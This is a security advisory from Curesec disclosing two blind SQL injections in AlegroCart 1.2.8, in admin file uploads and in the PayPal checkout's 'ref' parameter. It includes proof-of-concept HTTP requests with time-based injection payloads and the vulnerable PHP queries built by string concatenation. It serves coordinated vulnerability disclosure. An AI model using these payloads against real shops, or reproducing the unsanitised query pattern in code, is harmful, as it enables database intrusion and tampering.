AlegroCart 1.2.8: SQL Injection

AlegroCart 1.2.8: SQL Injection

Date: 2015-11-13 16:19:48
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: AlegroCart 1.2.8
Fixed in: Patch AC128_fix_17102015
Path Link:
Vendor Website:
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/29/2015
Disclosed to public: 11/13/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

There is a blind SQL injection in the admin area of AlegroCart. Additionally, there is a blind SQL injection when a customer purchases a product. Because of a required interaction with PayPal, this injection is hard to exploit for an attacker.

3. BLind SQL Injection (Admin)


Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P


When viewing the list of uploaded files - or images - , the function check_download is called. This function performs a database query with the unsanitized name of the file. Because of this, an attacker can upload a file containing SQL code in its name, which will be executed once files are listed.

Note that a similar function - check_filename - is called when deleting a file, making it likely that this operation is vulnerable as well.

Admin credentials are required to exploit this issue.

Proof of Concept

POST /ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download&action=insert HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en; __atuvc=4%7C37 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------16690383031191084421650661794 Content-Length: 865 -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="language[1][name]" test -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="download"; filename="image.jpg' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null) -- -" Content-Type: image/jpeg img -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="mask" 11953405959037.jpg -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="remaining" 1 -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="dc8bd9802df2ba1fd321b32bf73c62c4" f396df6c76265de943be163e9b65878a -----------------------------16690383031191084421650661794-- Visiting http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download will trigger the injected code.


/upload/admin2/model/products/model_admin_download.php function check_download($filename){ $result = $this->database->getRow("select * from download where filename = '".$filename."'"); return $result; } function check_filename($filename){ $results = $this->database->getRows("select filename from download where filename = '" . $filename . "'"); return $results; } /upload/admin2/controller/download.php function checkFiles() { $files=glob(DIR_DOWNLOAD.'*.*'); if (!$files) { return; } foreach ($files as $file) { $pattern='/\.('.implode('|',$this->prohibited_types).')$/'; $filename=basename($file); if (!preg_match($pattern,$file) && $this->validate->strlen($filename,1,128)) { $result = $this->modelDownload->check_download($filename); if (!$result) { $this->init($filename); } } } }

4. BLind SQL Injection (Customer)


Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P


There is an SQL Injection when using Paypal as a payment method during checkout.

Please note that this injection requires that a successful interaction with Paypal took place. For test purposes, we commented out the parts of the code that actually perform this interaction with Paypal.

Proof of Concept

1. Register a User 2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation" 3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token.

The injection can be exploited blind:

http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23)

However, this is rather unpractical, especially considering the need for a valid PayPal token for each request.

It is also possible with this injection to inject into an UPDATE statement in update_order_status_paidunconfirmed. The problem here is that it is difficult to create an injection that exploits the UPDATE statement, but also results in an order_id being returned by the previous SELECT statement.

It may also be possible to use the order_id that can be controlled via the SELECT statement to inject into the INSERT statement in update_order_history. But again, it is difficult to craft a query that does this, but also returns a valid result for the UPDATE query.


/upload/catalog/extension/payment/paypal.php: function orderUpdate($status = 'final_order_status', $override = 0) { //Find the paid_unconfirmed status id $results = $this->getOrderStatusId('order_status_paid_unconfirmed'); $paidUnconfirmedStatusId = $results?$results:0; //Find the final order status id $results = $this->getOrderStatusId($status); $finalStatusId = $results?$results:0; $reference = $this->request->get('ref'); //Get Order Id $res = $this->modelPayment->get_order_id($reference); $order_id = $res['order_id']; //Update order only if state in paid unconfirmed OR override is set if ($order_id) { if ($override) { // Update order status $result = $this->modelPayment->update_order_status_override($finalStatusId,$reference); // Update order_history if ($result) { $this->modelPayment->update_order_history($order_id, $finalStatusId, 'override'); } } else { // Update order status only if status is currently paid_unconfirmed $result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId); // Update order_history if ($result) { $this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN'); } } } } /upload/catalog/model/payment/model_payment.php: function get_order_id($reference){ $result = $this->database->getrow("select `order_id` from `order` where `reference` = '" . $reference . "'"); return $result; } function update_order_history($order_id, $finalStatusId,$comment){ $this->database->query("insert into `order_history` set `order_id` = '" . $order_id . "', `order_status_id` = '" . $finalStatusId . "', `date_added` = now(), `notify` = '0', `comment` = '" . $comment . "'"); } function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){ $result = $this->database->countAffected($this->database->query("update `order` set `order_status_id` = '" . $finalStatusId . "' where `reference` = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'")); return $result; }

5. Solution

To mitigate this issue please apply this patch:

Please note that a newer version might already be available.

6. Report Timeline

09/29/2015 Informed Vendor about Issue
17/10/2015 Vendor releases fix
11/13/2015 Disclosed to public